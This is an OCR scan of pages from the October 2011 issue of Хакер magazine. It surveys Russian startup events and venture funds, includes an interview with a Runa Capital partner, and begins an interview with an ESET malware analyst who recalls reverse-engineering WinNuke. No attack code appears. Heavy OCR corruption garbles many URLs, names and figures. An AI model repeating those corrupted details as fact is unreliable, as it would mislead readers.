аудиторию и генерировать доход? Чем при­

влечьтех людей, которые готовы помочь тебе с

финансированием, чтобы проектом занимались

не два с половиной человека , а полноценная

команда из профессионалов, которые действи­

тельно способны сделать работающий продукт?

Верный путь к поиску ответов на эти вопросы­

принимать участие в различных стартаперских

мероприятиях. Мы подготовили для тебя емкий,

но исчерпывающий обзор те х, которые стоит

посетить в первую очередь .Но даже тусовка­

это еще не главное. Важно, что помимо людей,

которые хотятзапускать проекты, есть люди,

готовые в это вкладываться. В России сейчас

активно работают как частные инвесторы, так

и венчурные фонды, которые не просто желают,

а буквальножаждут найти толковые команды,

которые с горящими глазами хотят воплотить в

жизнь идею, которая в самом деле может пре­

вратиться в успешный проект.

089

Page 89: Хакер №10 (октябрь 2011)

~ЦЕНА

МЕРОПРИЯТИЯ ДЛЯ СТАРТАПЕРОВ

Startup Weekend Организатор: «Главстарп>

Сайт: гussia.staгtupweekend.oгg Где: no всему миру, в том числе в разных городах России Когда: круглый год

Startu ,~J/ Wee~~~--

Staгtup Weekeпd, за­

родившийся в Сиэтле,

практика общемировая.

Каждый такой <<Уик-

энд», -это трехдневная

рабочая сессия, на которую собираются команды

интернет-проектов, специалисты, эксперты из

области IT и инвесторы. Здесь можно как получить

совет, так и привлечь начальные инвестиции. Уик­

энды проходяте вечера пятницы до вечера вос­

кресенья . Это спрессованный и оченьактивный

формат, который даетотличный шанс получить

ускорение, необходимоедля воплощения мечта­

ний в реальность. Например, по результатам 12-го

<<Уик-энда >>, компания << Главстарт>> и Аркадий

Морейнис, главный стартап-инвестор России,

дадуткомандамлучшихпроектовдо$100000на

проект. Также <<Главстарт» является венчурным

партнером РВК !готов соинвестироватьдо 75%

от общего объема требуемы х инвестиций! . <<Уик­энды» проходят в разных городах России.

SumiT Организатор: Клуб иннаваторов Сайт: sumit.гu Где: Санкт-Петербург

Когда : лето

suм == · ... Клуб инноваторов-это

более 2500 человек,

250 проектов, 100 экс­

пертов , 120 часов живых

встреч. SumiT делится

на три этапа. В ходе нулевого, предварительного

этапа собираются идеи и формируются предва­

рительные составы команд. Затем cлeдyeтSumiT

Weekeпd, представляющий своего рода обучаю­

щую вводную передследующим этапом-Stагtuр

Магаthоп. Марафон длится месяц, и в ходе него

команды работают над проектами в комфортных

условиях. Проходят мастер-классы ведущих

специалистов по разработке , менеджменту и

продвиж~нию IТ-проектов, консультации по всем

возникающим вопросам от команды SumiТ. В за­

вершение проходит lпvest Fest, на котором коман­

ды представляютпроекты. В этом году на lпvest

Fest были приглашены инеест-фонды и ведущие

!Т-компании: Ruпa Capital, Almaz, ABRT, ВТБ, Mail.

гu Gгoup, ЕМС, lпtel, РВК, RSVVentuгe Paгtneгs.

ИНВЕСТИЦИОННЫЕ ФОНДЫ

Almaz Capital Partners Сайт: almazcapital com Тип фонда: венчурный Дельта инвестиций: -$100-500

(. AlmazCapital R41eHtino;tltut..."CISitlnoQIIon ,,..,.~Potemltl

Almaz Capital Рагtпегs­

российскийвенчурный

фонд, в 2008 г. осно­

ванный Александром

Галицким !учредитель и управляющий партнер фонда венчурных инвести­

цийдlmаz Capital Paгtneгs и инкубатора Runa Рагk,

в состав которого входитФонд посевныхинвести­

ций Runa Capital; с 2010 года член Совета фонда

<<Сколково>>; президентконференции Russian

TechTouг20041. В 2008 г. объем фонда составлял $125 м л н, из которых $60 млн вложили Cisco и UFG

Asset Managemeпt . С тех пор фонд инвестировал

в компаниидрроllо Pгoject, Paгallels и другие.

Офисы Almaz Capital Paгtneгs работают в Москве и

Силиконовой долине. <<Алмаз>> инвестирует в мол о-

дыеинновационныетехнологическиекомпании

в медийных и телекоммуникационных отраслях

бизнеса натерритори и России и СНГ. В 2010-м фонд

инвестировал в комnанию Qik !мобильное видео!,

проданную5kурев2011 мза$150млн.

090

Runa Capital Сайт: runacap.com/ru Тип фонда: венчурных инвестиций nосевной и ранней стадии Дельта инвестиций: от$500до нескольких млн

~ Runa '~ Capital

Фондсоздан в августе

201 О г. основателем

Paгallels и Асгопis

Сергеем Белоусовым

и основателем фонда

Almaz Capital Paгtneгs Александром Галицким.

Runa Capital инвестирует в хай-тек-стартапы

ранней стадии развития. Управляющий партнер

фонда-Дмитрий Чихачев. Интересы Ruпa Capital

направлены, прежде всего, на программное обе­

спечение, мобильные приложения и интернет­

сервисы. В число партнеров фонда Runa Capital

входятболее20технологическихпредпринимате­

лей и профессиональных инвесторов . Деятель­

ность фонда поддерживает бизнес-инкубатор,

цель которого выращивание конкурентоспособ­

ны х технологических компаний из nерспективных

российских стартапов. Инкубатор получил на­

звание Runapaгk . Весной этого года Runa Capital

вложил $1 млн в проект <<Метабар>> !инструмент для быстрого создания тулбаровдля браузеровl.

Startup Point Организатор : Staгtup Point Сайт: staгtuppo i nt.гu Где: разные города России

Когда : круглый год

Встречи Staгtup Point

~ nроводятсяодноимен-

~аrtuр Point ным крупнейшим стартап-сообществом

рунета,которое

начитываетболее 10 ОООучастников, 2500+

проектов, 200+ частных инвесторов и венчурных

фондов. Staгtup Pointyжe привлекли более $3 млн инвестиций в различные nроекты. Поинты -это

мероприятиянесоревновательные.Этоскорее

дискуссионная площадка для активистов, же­

лающих начатьсобственный бизнес , экспертов и

инвесторов. Здесь можно познакомиться с новыми

людьми, найти партнера , встретиться с инвесто­

рами и экспертами индустрии. Поинты состоят из

презентаций стартапов в формате <<Eievatoг Pitch>>

12-минутная презентация перед инвестором! и докладов успешных предпринимателей Success

Stoгy. Проекты получаютфидбек от аудитории и

экспертов. Инвесторы , в свою очередь, находят

проекты для вложения средств.

Яндекс.Фабрика Сайт: company.yandex . гulpubliclstaгtlfactoгy.xml Тип фонда: венчурныхинвестиций nосевной и ранней стадии Дельта инвестиций: $50-100 ты с.

Яндекс -{!~

Яндекс .Фабрика, за­

нимаетсяинвестирова­

ни ем как в зарубежные,

так и в российские

стартапь~связанные

с интернет-бизнесом, мультимедиа, навигацией

и другими технологиями. На перспективные

проекты Ян деке готов в течение года потратить

несколькомиллионовдолларов присреднем

объеме финансирования на стартап в $50-150тыс.

Компанию интересуют, в частности, новые модели

бизнеса в интернете, мультимедийныетехноло­

гии !распознавание лиц, штрихкодовl, навигация

и социальные коммуникации, анализ и структу­

рирование информационных потоков, методики

изучения поведения пользователей в интернете,

рекламные технологии, интерфейсные решения ,

атакжеобработкаипредставлениеразличных

данных. УЯндекса есть очевидный интерес к

технологиям, которые емутяжело разработать

внутри компании.

ХАКЕР 10/153/2011

Page 90: Хакер №10 (октябрь 2011)

Стартаnы, деньги и успех

Во всем мире практика проведения мероприятий для стартаперов­

норма, однако у нас о таких поинтах, похоже, мало кто знает. А ведь в

России они тоже существуют. Тутсовсем не обязательно сразу рваться

в бой и представпять свой проект на суд публики и инвесторов. Для

начала можно поприсутствовать на мероприятиях в качестве зрителя,

пообщаться, послушать доклады, посмотреть на преэентации.

HackDay Организатор : студия веб-разработок Михаила Кечинова Сайт: hackday.гu Где : разные города России Когда: круглый год

Серия мероприятий

HackDay интересна . . HackDay своимформатом.Девиз

""-"""'"-м''"" «От идеи до прототипа за2дня»rово~ит самза

себя. Форматфестиваля НасkDаубыл разработан

ком пани ей Ya hoo! еще в 2005 г. для реализации творческих идей сотрудников и представления

прототипов топ-менеджменту. Мероприятия вы­

глядятнемного проще предыдущих. Здесьчаще

всегонетименитыхспикеровикрупныхинвесто­

ров, нетбитвы не на жизнь, а на смерть с соперни­

ками. Зато здесь есть возможность получить опыт

и, возможно, собрать команду или вписаться в

какой-то проект. Во всяком случае, организаторы

НасkDаупозиционируютсвоифестивалиименно

так. Кстати, HackDay проводятся на самые на раз­ные тематики, это не только IT, но и кино, музыка,

клипмейк, компьютерные игры, занимательная

физика и современное искусство . И происходит

это довольно часто.

Harvest Кто проводит: GгeenfieldPгoject Са йт: g г ее n fiel d- р го ject. г u/harves t Где: разные города России

Когда: круглый год

По форматустартап­

турнир Harvest очень похож на стремитель­

ный HackDay. Этотоже программасоздания

инновационных бизнес-проектов с нуля . За два

дня участники программы выбирают наиболее

интересные идеи, формируют проектные команды

и при поддержке экспертов работают над их реа­

лизацией. На Harvest можно прийти с собственной идеей, которуюужедавно хотелось реализовать.

А можно найти команду единомышленников,

поработатьсэкспертамиинаконецсдвинуть

свой проек т с мертвой точки. Организоторы­

GreenfieldProject -это стартовая площадка для высокотехнологичных стартап-проектов, обще­

ния потенциальных предпринимателей и людей,

которым интересно работать в стартап-проектах .

Основная задача-формирование нового поколе­

ния предпринимателей, готовых оценивать и идти

на осознанный риск .

StartUp Week Kтoпpoвoдит:STARTeuгope,lnitial Factoг. «ТехКранч Европа» Сайт: sta гtupweek20JJ .com Где: Вена, Австрия

Когда : с 3 no 7 октября 2011 г.

.I{J?TARТUP WEEK ~ g.~ ~....-r..oteat~va~

В завершение хотелось

бы ВКЛЮЧИТЬ И ОДНО

нероссийскоемеро­

приятие, это StartUp Week Europe Fеstivаl­

коммуникационнаяплощадкадлястартапов

Центральной и Восточной Европы . Конечно, не на

каждое мероприятие для стартапав поедешь за

границу, но Вена не так уж далеко, и лететьтуда

совсем не так накладно, как, например, в Штаты .

А мероприятие явно заслуживает внимания. Так,

спикерами на StartUp Week выступятоколо 70 европейскихэкспертовинтернет-индустри~

серийных предпринимателей и инвесторов. Среди

них: ЭстерДайсон, председатель правпения

EDventures Holdings, МортенЛунд !инвестор Skype), Стефан Глянце р , инвестор last.fm, Реш м а

Сахони !основатель SeedCamp-oднoro из самых больших бизнес-инкубаторов Европы), Александр

Галицкий , Almaz Partners, Николай Митюшин, ABR и так далее.

Важными участниками любых стартаперских тусовок являются

частные инвесторы, а также инвестиционные фонды. И тех и других

объединяетодно-желание найти перспективный проект, в который

можно вложить деньги, получить за это его определенную долю. На

территории России и стран СНГ сегодня работает целый ряд крупных

венчурных организаций. Ниже-лишь некоторые из них.

Фонд Microsoft Сайт: ms-start.ru Тип фонда : грантового финансирования Дельта грантов : от$30до $100 ты с.

в Фондсозданвконце

2010годакомпанией

Microsoft в России. Направл ениеоч ень

четкое-оказание

nрямой финансовой поддержки российским

стартапам в области программнаго обеспечения

и интернет-услуг. При этом этотфонд заметно

выделяется на фоне остальных. Дело в том,

что он предоставляет российским ста ртапам

не инвестиции, а гранты, т. е. абсолютно

безвозмездное финансирование, не требующее

возврата средств. За п ервые полгода работы

фондабылорассмотренопорядка150заявок

различных старта пав, из них поддержку

получили уже пять начинающих компаний.

Размеры выданных грантов варьируются от$30 до $100тыс. Например, $100тыс. на развитие

бизнеса получил пермский проект PiratePay, разрабатывающий решение по борьбе с

nиратетвам в интернете.

ХАКЕР 10/153/2011

Главстарт Сайт: glavstaгt гu Тип фонда : венчурный Дельта инвестиций: до $100 ты с .

~ ГЛАВСТАРТ Эадача Главстарта

-величение потока

новых интернет-

проектов, интересных

для инвесторов. Для

этог~вчастност~проводитсямероприятия

«Sta rtup Weekend>> и <<Венчурный дискаунтер>>. Это больше чем венчурный фонд. но компания го-

това проинвестировать в проекты на стадии идеи

или прототипа, которым для доведения до стадии

готового продукта требуетеяда 12 месяцев и до

$100тыс. Рассматриваются nроекты, имеющие хорошие перспективы роста, -в первую очередь

по размеру аудитории. Более того, Главстарт

является венчурным nартнером Российской вен­

чурной компании, а также первым официальным

партнером Facebook в России. Фондзаинтересо­

ванвпоявленииновыхнеигровыхnриложений

для социальных сетей и вместе с российским

представительством Facebook готов помо гать разработчикамсоциальныхприложений.

ABRTVenture Fund Сайт: а bгtfund.com/гus Тип фонда : вечнурный Дельта инвестиций: от $1 до 5 млн

Фондсоздан Андреем

Барановым и Ратмиром

Тимашевым, основа­

телями Aelita Software,

которая известна тем,

что была продана в марте 2004 г. калифорнийской корпорации Quest Software за $115 млн. Продажа Aelita Software стала одной из самых крупных

сделок на российском софтверном рынке. ABRT не является институциональным и не работает

с пайщиками. Фонд инвестируетсредства своих

основателей, а также средства команды. Кроме

того, ABRP работаете крупными, известными зарубежными фондами со значительным опытом и

портфелем ком пани й. Это европейские IMangrove Capital Partп ers) и американские llпsightVenture Partners и OpenViewVenture Partners) партнеры­соинвесторы, венчурные фонды, каждый из

которыхимеет подуправлениемболее$100млн . ABRT помогает предпринимателям создавать со­фтверные компании мирового уровня.

091

Page 91: Хакер №10 (октябрь 2011)

СЦЕНА

В заключение этой статьи предоставим слово экспертам, людям,

которые работают со стартапами ежедневно и не понаслышке

знакомы с реалиями российской стартап-сцены. На мои вопросы

любезно согласился ответить Андрей Близнюк, один из партнеров

венчурного фонда Runa Capital ( гunacap .coml.

r,1 РАССКАЖИТЕ, ПОЖАЛУЙСТА, КАКИЕ ... ТРЕБОВАНИЯ ВАШ ФОНД ПРЕДЪЯВ­ЛЯЕТ К СТАРТАПАМ И ЧЕГО ВЫ ОЖИДАЕТЕ

ОТ КОМАНД В ПЕРВУЮ ОЧЕРЕДЬ?

n Прежде всего нас интересуюттехнологи-

181 ческий и интеллектуальный компоненты проекта,уникальностьпродукта,стремление

команды вывести его на международный рынок,

глобальные амбиции, подкрепленные соответ­

ствующим пониманием стратегии развития

проекта. Мы помогаем нашим портфельным

компаниям с выстраиванием бизнес-стратегии,

партнерами и клиентами-доработкой

технологии, поиском подходящих сотрудников.

Но первоначально у команды должен быть

продукт, вокруг которого выстраивается

компания.

092

r.t КАКОВЫ В ЦЕЛОМ ТРЕНДЫ ... ПОСЛЕДНИХЛЕТ?ВСТОРОНУКАКИХ ТЕХНОЛОГИЙ, УСЛУГ И ОБЛАСТЕЙ СЕЙЧАС СМОТРЯТ СТАРТАПЕРЫ?ТАКЖЕ ИНТЕРЕСНО,

НА ЧТО В ЭТОМ ВОПРОСЕ ОРИЕНТИРУЕТСЯ

ФОНД, ЧТО ПРЕДПОЧТИТЕЛЬНЕЕДЛЯ ВАС?

n Если говорить о консьюмерском рынке-зто

181 social, local, moЬile, если о рынкетехноло­гий-зто однозначно облачные технологии,

распределенные вычисления.

Приэтомтрендомможноназватьипоявление

новых бизнес-моделей, и способов продвижения

традиционныхсервисов. Тем не менее я бы не реко­

мендовалстартаперамслепоориентироватьсяна

тренды и тем более пытаться сводить все этитрен­

ды вместе. Раздутыйтрендэто перенасыщенный

предложением рынок илидаже раздутый пузырь,

который рано или поздно лопнет. У команды должно

быть пониманиеуникальности продукта итого, как

их идеяложится на современныетренды. Не нужно

приходить с проектом нового Facebook или Google,

в то время как существуетогромное количество

новых, неразвитыхниш и нерешенныхзадач.

r.t ВНЕКОТОРОМ РОДЕ ПРОДОЛЖЕНИЕ ... ПРЕДЫДУЩЕГО ВОПРОСА: НА ЧТО БЫ ВЫ ПОСОВЕТОВАЛИ ОРИЕНТИРОВАТЬСЯ

СТАРТАП ЕРАМ? БЫТЬ МОЖЕТ, В КАКОЙ-ТО ОБЛАСТИ НАБЛЮДАЕТСЯ НЕХВАТКА

СВЕЖИХ ИДЕЙ И МОЛОДЫХ ПРОЕКТОВ, БЫТЬ МОЖЕТ, В КАКИХ-ТО НИШАХНЕМНОГО

<<СВОБОДНЕЕ>>, ЧЕМ В ДРУГИХ?

n Мы смотрим на три вещи -технологию,

181 команду и перспективы рынка. Если про е кт более ранней стадии, мы придаем большое

значение технологии.

Ориентируйтесьнапотребности,проблемы

клиентов, находите новые ниши, делайте продукт

с очевидным конкурентным преимуществом в

уже существующих нишах. Не нужно стремиться

создать 285-й «Групон>>. Для нас важна ваша

сосредоточенность на качестве продукта. Четко

понимайте, какую насущную проблему пользова­

телей он решает.

Например, наша портфельная компания

Jelastic пошла по этому пути, создавтехнологию дляразработчиковJаvа-приложений,которая

поддерживаетразвертываниестандартныхJаvа­

приложенийбезограниченияпоиспользованию

библиотек и привязки к дорогостоящему ПО кон­

кретного поставщика облачныхуслуг ISaaSI. Сейчас на российском IТ-рынке, во-первых,

большой перекос в сторону потребительского

рынка. Во-вторых, слабо развит Ь2Ь-сектор.

В третьих, у команд не хватает глобальных

амбиций, зачастую проект является копиро­

ванием сервисов, которые «выстрелили>> на

западном рынке. В конечном итоге всё сводится

к недостатку сложных технологий, ведь, по сути,

сложная технология и масштаб амбиций про­

екта -две стороны одной медали.

r.t КАКОВАСРЕДНЯЯДЕЛЫАПО ... ИНВЕСТИЦИЯМ В ПРОЕКТ ДЛЯ РОССИИ И СНГ? НАПРИМЕР,$50-100К, БОЛЬШЕ ИЛИ МЕНЬШЕ? ЧЕМ ЭТО ОБУСЛОВЛЕНО?

n Для Runa Capital эта дельта от $500 ты с. 181 донесколькихмиллионов,иэто обусловлено тем, что мы ориентируемся прежде

всего на проекты ранней стадии. Но это не

значит, что мы категорически не рассматрива­

ем проекты, выходящие за эти рамки. В них мы

можем инвестировать вместе с другими

инвесторами -у нас большая сеть партнеров

как в России, так и за рубежом.

r.t ПОЖАЛУЙСТА, РАССКАЖИТЕ О ... НАИБОЛЕЕУСПЕШНЫХПРИМЕРАХ ИНВЕСТИЦИЙ ВАШЕГО ФОНДА. ТАКЖЕ БЫЛО БЫ ИНТЕРЕСНОУЗНАТЬ ВАШЕ

МНЕНИЕ И О САМЫХУСПЕШНЫХ СТАРТАПАХ

НАШЕЙ ГЕОЗОНЫ В ЦЕЛОМ.

ХАКЕР 10/153/2011

Page 92: Хакер №10 (октябрь 2011)

n На данный моментпортфельные компании

181 Ruпa Capital на инвестиционной стадии. Объявлены инвестиции в следующие проекты:

Telefir (telefiг. гu )- мобильная голосовая

социально-коммуникационная платформа. Это

своего рода наш. российский голосовой Twitteг. У

этого приложения уже сейчас несколькодесятков

тысяч пользователей . Чаще всего люди пользуют­

ся им в пробках , иногда простодля того, чтобы

пообщаться и познакомиться. Сервис постепенно

нащупал свою аудиторию, и она растет.

Примерперспективноготехнологическогопро­

дукта-Jеlаstiс (hivext . гu ) , это первая отечествен­

наякоммерческаяРааS-систем~предназначен­

наядляразработкиJаvа-приложенийвинтернете

без необходимости изменять код в структуре сайтов. Осеньюон активно запускается в США и

Европе, на Россию приходится только 3% их рынка .

Metabar ( metabaг.гu)- первый в России

конструктор тупбаров для владельцев сайтов

и обычных пользователей. Их сервисом уже

сейчас пользуются порталы крупнейших рос­

сийских СМИ-<(Ведомостей >> , « Российской

газеты >>, КП и др.

Портал Travelmenu (tгavelmenu . гu ) это наша

совместная инвестиция с фондом Almaz Capital. Он входите ТОПЗ онлайновыхтуристических

агентств в России и на Украине, с ним работают

более чем 290тыс. отелей, 100туроператоров и

500 авиакомпаний. Все проекты в активной фазе своего развития, экзиты будутпоэже.

Если же говорить абуспешных стартапах по­

следнего времени, получившихинвестиционную

поддержку, быстро развивающихся и уже заслу­

живших международное признание, это прежде

всего игры Alawaг и видеосервисы Qik. Последний был куплен у фонда Almaz Capital компанией Skype (Эа $150 млн.- При м. Mifгill).

r.1 КАК ВЫ СЧИТАЕТЕ, ЧЕМ ОБУСЛОВ­

... ЛЕНОНЕКОТОРОЕНЕДОВЕРИЕИ ДАЖЕ ОПАСКА, С КОТОРОЙ НАШИ СТАРТАПЕРЫ ДО СИХ ПОР ОТНОСЯТСЯ К

ИНВЕСТИЦИЯМ ПРАКТИЧЕСКИ ЛЮБОГО

РОДА?УВЫ,МНОГОЧИСЛЕННЫЕОПРОСЫ

ПОКАЗЫВАЮТ, ЧТОЛЮДИ СКОРЕЕ

СКЛОННЫ РАЗВИВАТЬ ПРОЕКТ, ВКЛАДЫ­

ВАЯ В НЕГО «СВОИ КРОВНЫЕ>>, НЕЖЕЛИ

ОБРАЩАЯСЬ К ИНВЕСТОРАМ.

Startup Weekend

ХАКЕР 1 О /153/2011

Staгtup Point в Ростове

n Мы видим скорее обратную ситуацию. Пока 181 в Россиилюди чаще хотятполучитьчужие деньги, практически не вложив в проект ни

времени, ни каких-либодругих ресурсов. Поэтому

если к нам приходяте проектом, который люди

развивали на свои деньги, это, безусловно,

большой плюс в глазах инвестора. Но, к сожале­

нию, пока так бывает нечасто.

r.1 ЕСТЬ ЛИ ИНТЕРЕС К РОССИЙСКОМУ IT ... НАЗАПАДЕ?ГОТОВЫЛИВНАС ИНВЕСТИРОВАТЬ, НЕ БОЯТСЯ ЛИ? БЫТЬ

МОЖЕТ, ЗАПАД ПРЕДПОЧИТАЕТ «ПЕРЕКУ­

ПАТЬ >> У НАС ЛУЧШИЕ МОЗГИ, НО НЕ

ВКЛАДЫВАТЬСЯ В ИХ РАЗВИТИЕ ЗДЕСЬ?

n Безусловно, интерес есть, ярким тому

181 подтверждением является то, что большая часть инвесторовфонда Runa Capital- междуна­родные. Кроме того, есть ряд примеров успешного

раэвитиякомnанийроссийскогопроисхождения

на международных рынках: Paгallels, Acгonis,

АЬЬу, Kaspeгsky. Они создаютотличные продукты,

имногиеизнихпр ивлеклизападныеинвестиции.

Также есть истории Mail.гu и Уапdех с успешным

IPO на западных биржах .

Стартапы, деньги и успех

r.1 И ПОСЛЕДНЕЕ. НА ВАШ ВЗГЛЯД, СТОИТ ... ЛИ СТАРТАПЕРАМ ПРИНИМАТЬ УЧАСТИЕ В МНОГОЧИСЛЕННЫХ И РАЗНО­

ОБРАЗНЫХМЕРОПРИЯТИЯХ ВРОДЕ STARTUP WEEKEND, STARTUP POINT, SUMIT, НАСКОдУ И Т. Д.? МОЖЕТ ЛИ ВСЁ ЭТО БЫТЬ ПОЛЕЗНЫМ ИЛИ ЯВЛЯЕТСЯ ПУСТОЙТРАТОЙ ВРЕМЕНИ?

n Безусловно, такие мероприятия дают

181 стартаперам некоторый опыт, развивают предпринимательскую культуру и иногда

становятся площадкой для знакомства с

инвестором и будущими бизнес-партнерами. Но

пока ни в один иэ проектов, представленных на

этих площадках, мы не проинвестировали.

Стартаперы должны использовать максимум

возможностей, для того чтобы продвигать свой

проект, но, как правило, утех, ктозанимается

своим nродуктом всерьез, остается очень мало

времени на такие, пустьдаже и очень полезные,

мероприятия. Есть люди, назовем их «профес­

сиональные стартаперы>>, которые ходят почти

на каждуютакую тусовку, периодически пере­

ставляютслайды в nрезентации, раздаютсотни

визиток ... К ним у инвестора возникает резонный вопрос : а остается ли время на сам проект?::J:

Эти nозитивньоелюди с фикусом ждуттебя на Startup Week в Вене

093

Page 93: Хакер №10 (октябрь 2011)

СЦЕНА/ИНТЕРВЬЮ

ХАКЕР 10/153/2011

Page 94: Хакер №10 (октябрь 2011)

Интервью с главным антивирусным аналитиком Eset/Russia

АЛЕКСАНДР

МАТРОСОВ

ИНТЕРВЬЮ С ГЛАВНЫМ

АНТИВИРУСНЫМ

АНАЛИТИКОМ ESET/RUSSIA MAN В тусовке людей, занимающихся инфор­

мационной безопасностью, работники

антивирусных компаний всегда вызы­

вают большой интерес . Всем интерес­

но узнать о внутренней антивирусной

кухне, о том, откуда они берут образцы

малвари и как именно их анализируют.

Ну и конечно, извечный вопрос-«Если

я крутой вирмейкер, вы меня возьмете

на работу?» Все эти вопросы мы задали

руководителю российского вирлаба

ESET.

ХАКЕР 10 / 153/2011

r.1 С ЧЕГО ИЗНАЧАЛЬНОУТЕБЯ ПОЯВИЛСЯ

... ИНТЕРЕС КАНТИВИРУСНОЙ ДЕЯТЕЛЬНО­СТИ? НУТО ЕСТЬ ПОНЯТНО, ЧТО НАЧИНАЛОСЬ

ВСЕ С ОБРАТНОЙ ИНЖЕНЕРИИ, НО КАК ТЫ К НЕЙ ПРИШЕЛ? ЧТО ТЕБЯ ПОБУДИЛО?

n Начн у, пожалуй, издалека. По первому

181 образованию я инженер -системотехник, и где-то с 1998 года я плотно подсел на и зучение ра спространенныхмикроконтроллеровтого времени .

Самым популярным моим испытуемым был КР580

!советский аналог8-битного процессора 80801 ввиду своей дешевизны и доступности . Естественно, это

увлечениеподразумевалознание ассемблера и

умение его готовить. В тот же периодпоявился интерес

к теме информационной безопасности, но тогда не

былотакого обилия литературы, как сейча с, и

при ходил осьсобиратьинформацию буквально по

крупицам . Наверное, самой ценной находкой для меня

на тотмоментстал CD-ROM с интригующим названием << Вседля хакера N2 13>>, который был найден на развалах царицынекого радиорынка. Из залежей

информации на нем я узнал много интересного, а

главное, обнаружил программу с интригующим

095

Page 95: Хакер №10 (октябрь 2011)

СЦЕНА/ ИНТЕРВЬЮ

названием WinNuke, которая, по завер ениям

авторов, должна была осуществлять DoS всех

полярны х версий винды. И она таки работала, но,

кроме опи сания , как ею пользоваться, у меня не

было больше ничего. И тогда н ельзя б ыло пойти и

просто спросить у гу гл а интересующуютебя

информацию, да и интернет-доступа у меня на тот

момент пос тоя нно го н е было . П оэтому нато м же

диске был найден инструментарийдля реверси н ­

г а, и, вооружившись им, я на несколько недел ь

погрузилсявновую,неизведаннуюранее

предметную область. Но за эти две недели я н е

добился ус п ешно го резул ьтата, так как соверш ен ­

но не б ыл знаком с nрограммированием под

о пера ционны е систем ы Windows и тем более с

разработкой сетевых приложени й . Пришл ось мои

поту ги в обратном а нали зе отложить и н ачать

черnать недостающие з нан ия. Это занял о какое-то

время, но в итоге я докспался до истины, и

результатом работы стал работающий РоС на perl .

Сам процессменя настолько захватил,чтоя даже

забыл про компьютерные игры и днями напрол ет

изучал неизведанное. Потом уже, н а первых

курсах МИФИ, у меня появился интерес к изучению

вредоносных программ, так как я выбрал это

направлениедлясвоихнаучныхизысканий,а

выбрано о н о было по критерию, чтобы реверси нга

было больше, чем всего остального. Ну и в итоге

получается, что побудил меня ко всемуэтому

WinNuke, за что его автора м отдельное спасибо.

r.1 ДОЛЖЕН ЛИ ВИРУСНЫЙАНАЛИТИК a.l СЕРЬЕЗНО ПРОГРАММИРОВАТЬ ИЛИ В ЭТОМ НЕТ НЕОБХОДИМОСТИ?

n Тут с н ачала надоотделить программную

W инженерию как про цесс и знание языков программирова ния и теори и ком пилято ров . Дело

втом,чтопониманиетог~какработаеткомпиля­

тортого или иного яз ыка пр о гра мми рова ния ил и

платформы , б ывает просто необходимо. Конечно,

это н е оз н а чает, что люди, анализирующие

тр оянцевдля JME, являются экс п ертами по

то н костям языка Java. Также в работе наших

вирусных аналитико в возни кает много в ещей,

связа нны хса втоматиза цией процессаобратного

анализа, где, безусловн о, нужно иметь высокий

уровень квал ифика ции в области программиро ­

в ания. Сейчас сам ый популярный язык програм­

мирования нашей л аборатории это Python, так как

он в ст р ое н не только в n убличные инструменты, н о

и в наши внутренние. Изучить е го не сложн о, и

порой онэкономитмноговременидляреш ени я

зад а ч автоматизации по с р ав н е нию, наприме р , с

тем же С++ . Хотя С, С++ стоят у нас на втором месте

no поnуля рности, так как далеко не все задачи

мо'жно решить средствами Python. Так что

необходимость в эти х знаниях, безусловн о, есть, и

она критична в пр о цессе найма сотрудников к нам .

r.1 ПРИХОДИЛОСЬЛИ ТЕБЕ ОБЩАТЬСЯ ПО

a.l РАБОТЕСБЛЕКХАТАМИ?КАКТЫ ОЦЕНИВАЕШЬ УРОВЕНЬЛЮДЕЙ, КОТОРЫЕ СОЗДАЮТ МАЛ ВАРЬ?

n Общаться приходилось с разными

W людьми,втомчислеистеми,кто

096

н аходится потусторону барр икад, н о обще ни е

был о только виртуальным, а цели но с или

разведывательный ха рактер . Что касается

уровн я знаний, т о, как и везде, он си льн о

раз нится и зависит непосредственно от

конкретного чел овека . Но судя по тем у грозам,

которые появляются п о рой из-под их к лави а т ур,

таки х как, наприм ер TLDЗ/4, Rovnix, соверше нн о

однознач н о не стоит н едооценивать эти х л юдей.

Высококвалифици р ован ны е с п е ци али сты есть

и с р еди участни ков блекхат-сообщества, что

доставля ет нам немало хло п о т и п обуждает к

д альн ей ш ему самосоверш енство в а нию.

r.1 СЛЕДИШЬЛИТЫ ЗАВИРУСАМИ НА a.l ЧЕРНОМ РЫНКЕ? ПРОДАЕТСЯ ЛИ ЧТО-ТО ДЕЙСТВИТЕЛЬНО ИНТЕРЕСНОЕ С ТОЧКИЗРЕНИЯАНТИВИРУС Н ОГО

АНАЛИТИКАИЛИ ВСЕ В ПРИ ВАТЕ?

n Иногда удается n ол учитьдос туn к интерес­

W ной информации на закрытых форумах, н о там, где естьчто-то действительно интересное,

достуnтолько для узкого круга лиц . У на с есть

небольшой отдел, в задачи которого входит

мониторингактивностикиберкриминальныхгрупп

и и х деятельности. В их задачи входит п оиск

наиболее акти вных сплоит-паков, набл юдени е за

самыми крупными партнерами, работающими по

схемам PPI . Н о зачастую закрытые сообщества

ста раются бытьочень осторожным и и к рай н е

настороженно относятся к новым участникам.

r.1 ПРАВИЛЬНОЛИ Я ПОНИМАЮ, ЧТО

a.l СОЗДАНИЕ ВИРУСНОЙ ЛАБОРАТОРИИ ESET В РОССИ И-ЭТОИНИЦИАТИВА LETA GROUP,AHE ГЛОБАЛЬНОГО ЕSЕТ? ВООБЩЕ НАСКОЛЬКО У ВАСТЕСНОЕВЗАИМОДЕЙ ­СТВИЕ С ГЛОБАЛЬНЫМ ESET'OM?

n Это очень распространенное заблуждение,

W которое, п о всей видимости, было сформи ­р ова н онашимиконкурентами для снижения

статуса и з начимости наш ей лаборатории. На

самом деле изначально инициатива исходила от

российско го представител ьства, где хотели

ул уч шить качество обнаружения локальных угроз.

Но в Братиславе п ри няли решение о прямо м

подчинении непосредственно им, и наша

лабораторияявляетсяодним из подразделений

ос новно го вирлаба. У насуже существуетм н о го

ус п ешны х примеров открытия удаленны х

лабораторий, сей час и хуже больше п я ти: в Праге,

К ракове, Монреале, Сан-Диего, Бузнос-Айресе и

Кошице. У нас оченьдружный коллектив , и даже

уда л енно получается соде ржательное общение во

внутреннихрассылках и конференция х.

r.1 КАКИЕ ЗАДАЧИ СТОЯТ ПЕРЕД a.l РОССИЙСКИМ ВИРЛАБОМ ? КАКАЯ СТРУКТУРА У ЛАБОРАТОРИИ , СКОЛЬКО

ЛЮДЕЙ РАБОТАЕТ? КАК ТЫ ВИДИШЬ РОССИЙСКИЙ ВИРЛАБ ESET ЧЕРЕЗ ДЕСЯТЬ ЛЕТ?

n Пожалуй, н а этотвопрос я отвечу уклончиво,

